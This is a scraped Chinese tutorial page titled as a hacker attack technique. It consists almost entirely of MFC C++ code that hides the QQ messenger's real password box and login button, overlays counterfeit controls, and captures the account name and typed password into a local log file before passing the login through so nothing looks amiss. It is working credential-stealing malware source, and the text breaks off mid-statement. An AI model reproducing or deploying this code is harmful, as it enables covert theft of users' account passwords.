黑客攻击手段之偷梁换柱,黑客攻击手段之偷梁换柱
【 tulaoshi.com - C语言心得技巧 】
m_hOicq=FindWindow(NULL,"QQ用户登录");m_hOk=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"BUTTON","登录"));m_hEdit=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"EDIT",NULL));m_hCom=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"ComboBox",NULL));///上面的m_hOicq,m_hOk,m_hEdit,m_hCom分别为CWnd *类型有了这四个句柄,接下来的事就好办多了,那现在我们就直接生成一个按扭和一个编辑框吧。代码如下
CFont *m_font=m_hOk->GetFont();CFont *m_font1=m_hEdit->GetFont();CRect rect;CRect rect1;m_hOk->GetWindowRect(rect);m_hOk->ScreenToClient(rect);m_hEdit->GetWindowRect(rect1);m_hEdit->ScreenToClient(rect1);rect.left+=14;rect.top+=117;rect.bottom+=117;rect.right+=14;rect1.left+=110;rect1.top+=56;rect1.bottom+=56;rect1.right+=110;m_hOk->ShowWindow(SW_HIDE);//隐藏登录按钮m_hEdit->ShowWindow(SW_HIDE);//银藏密码框if(m_button.Create("登录",WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_DEFPUSHBUTTON,rect,m_hOicq,IDC_STARTBUTTON)==FALSE)MessageBox("error");m_button.SetFont(m_font,TRUE);m_button.SetWnd(this);m_button.SetID(IDC_STARTBUTTON);if(m_edit.CreateEx(0x204,"Edit","",0x500100A0,rect1,m_hOicq,IDC_MYEDIT)==FALSE)MessageBox("error1");m_edit.SetFont(m_font1,TRUE);m_edit.SetFocus();m_edit.SetWnd(this);上面代码中的m_button为CMyButton类型变量,m_edit为CMyEdit类型变量,请继续往下看。
if(pMsg->message==WM_KEYDOWN){if(pMsg->wParam==VK_RETURN)m_wnd->SendMessage(WM_ButtonDown,0,0);}
m_wnd->SendMessage(WM_ButtonDown,0,0);
CString Password,cc;char LoginName[20] ;memset(LoginName,0,20);::SendMessage(m_hCom->GetSafeHwnd(), WM_GETTEXT, 20, (LPARAM)LoginName);m_edit.GetWindowText(Password);m_edit.ShowWindow(SW_HIDE);m_hEdit->ShowWindow(SW_SHOW);m_hOk->ShowWindow(SW_SHOW);cc=0x0d;cc+=0x0a;CFileFind m_find;CFile m_file;if(!m_find.FindFile("c:oicqlog.dat"))m_file.Open("c:oicqlog.dat",CFile::modeCreate|CFile::modeWrite,NULL);else{m_file.Open("c:oicqlog.dat",CFile::modeWrite);m_file.SeekToEnd();}m_file.Write(cc,cc.GetLength());m_file.Write(LoginName,sizeof(LoginName));m_file.Write(cc,cc.GetLength());m_file.Write(Password,Password.GetLength());m_file.Close();m_hEdit->SetFocus();char *ee=Password.GetBuffer(Password.GetLength());::SendMessage(m_hEdit->GetSafeHwnd(),WM_SETTEXT,20,(LPARAM)ee);keybd_event(VK_RETURN,0,0
来源:http://www.tulaoshi.com/n/20160129/1484287.html